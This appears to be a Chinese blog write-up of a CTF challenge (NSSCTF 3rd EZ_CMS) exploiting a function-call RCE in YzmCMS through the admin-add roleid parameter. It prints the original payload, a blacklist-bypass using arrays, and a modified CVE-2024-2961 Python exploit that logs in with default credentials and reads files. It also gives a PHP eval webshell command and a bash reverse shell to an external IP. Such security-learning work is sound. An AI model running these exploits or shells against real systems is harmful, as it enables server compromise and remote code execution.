本文最后更新于 2024年11月19日 下午
前言:昨天学习了一下CVE-2024-2961,今天趁热打铁写一下gxn师傅之前在暑假出的题。
题目 NSSCTF 3rd]EZ_CMS | NSSCTF
题目描述 听说这个版本的CMS有漏洞,我修了以后总没有了吧!!!
分析 首先看这是yzmcms
,搜索一下相关的漏洞
YzmCMS 7.0任意函数调用RCE 漏洞研究分析_yzmcms漏洞-CSDN博客
先按照给的payload打一下看看
1 out_trade_no[0]=eq&out_trade_no[1]=whoami &out_trade_no[2]=system
发现该漏洞已经被修复了,去下载对应版本看一下源码,原文是
y也就是如果控制$fun
和$rule
的话可以进行rce,往上分析一下如何传值
定位到187行和188行,$rule
为$vv[1]
得到, $fun
为$vv[2]
得到
1 2 $rule = isset ($vv [1 ]) ? $vv [1 ] : '' ;$fun = isset ($vv [2 ]) ? $vv [2 ] : '' ;
向上分析$vv
(本身数组) 是数组$args
中遍历的,经过测试 $args
其实就是where函数的参数$arr
赋予的.
也就是漏洞是由于where方法引起的,我们需要找找是否存在其他入口点。
在application/admin/controller/admin_manage.class.php
里面找到的
在添加管理员的地方,roleid是直接可控的,先登录后台看看
用yzmcms::yzmcms
来登录
找到管理员管理,添加抓包,按之前漏洞的形式进行仿照构造payload
测试了一下readfile函数可以正常读取,但是在/proc
时发现一样被拦截,并且提示我们看看源码,那么我们读取源码看看是如何过滤的
定位190和191行过滤的内容
1 2 if (preg_match ("/openlog|syslog|readlink|symlink|passthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|system|eval|assert|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore|get_defined_vars|getallheaders|next|prev|end|array_reverse|glob|file_put_contents/is" ,$fun )){die ("hacker!!!" );}if (preg_match ("/proc|environ/is" ,$rule )){die ("hacker!!!也许你应该看看源码,救赎之道就在其中" );}
如何绕过呢,定位下方的代码
array_map有着回调函数的功能,可以让rule为一个数组,这样就可以利用数组绕过正则匹配,并且实现回调函数
复现 改一下cve的脚本,剩余的都是一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from __future__ import annotationsimport base64import zlibfrom dataclasses import dataclassimport randomimport stringfrom pwn import *from requests.exceptions import ChunkedEncodingError, ConnectionErrorfrom ten import * HEAP_SIZE = 2 * 1024 * 1024 BUG = "劄" .encode("utf-8" )class Remote : """A helper class to send the payload and download files. The logic of the exploit is always the same, but the exploit needs to know how to download files (/proc/self/maps and libc) and how to send the payload. The code here serves as an example that attacks a page that looks like: ```php <?php $data = file_get_contents($_POST['file']); echo "File contents: $data"; ``` Tweak it to fit your target, and start the exploit. """ def __init__ (self, url: str ) -> None : self.url = url self.session = Session() def send (self, path: str ) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ random_string = '' .join(random.sample(string.ascii_letters + string.digits, 6 )) data1 = {"username" : "yzmcms" , "password" : "yzmcms" , "code" : "gxngxngxn" } self.session.get(self.url + "/admin/index/login.html" ) self.session.post(url=self.url + "/admin/index/login.html" , data=data1) yzm_csrf_token = re.search(r"var yzm_csrf_token = '([^']+)';" ,self.session.get(self.url + "/admin/admin_manage/init.html" ).text).group(1 ) payload = {"adminname" : random_string, "password" : "123456" , "password2" : "123456" , "email" : "" ,"realname" : "" , "nickname" : "" ,"roleid[0]" : ["eq" ],"roleid[1][]" : [path],"roleid[2]" : ["readfile" ],"dosubmit" : "1" , "yzm_csrf_token" : yzm_csrf_token} return self.session.post(url=self.url + "/admin/admin_manage/add.html" , data=payload) def download (self, path: str ) -> bytes : """Returns the contents of a remote file. """ path = f"php://filter/convert.base64-encode/resource={path} " response = self.send(path) data = response.re.search(r'([A-Za-z0-9+/=]+)(?={"status)' , flags=re.S).group(1 ) return base64.decode(data)
主要修改的是send
这里的,以及download
里的正则匹配。脚本需要多跑几次,会有失败的概率。
1 "echo '<?php @eval($_POST ['cmd']); ?>' >orange.php"
尝试写马进去没用,前端命令执行没回显(没有尝试yijian)
写个shell看看
1 "bash -c 'bash -i >& /dev/tcp/27.25.151.99/5566 0>&1'"
看一下vps
(前前后后开了三次靶机所以端口会进行变化)
利用该cve也就是改改这部分对应的内容,主要熟能生巧,前前后后学习两天,也抽空分析了鹏程杯该cve相关题目,大抵应该会了吧。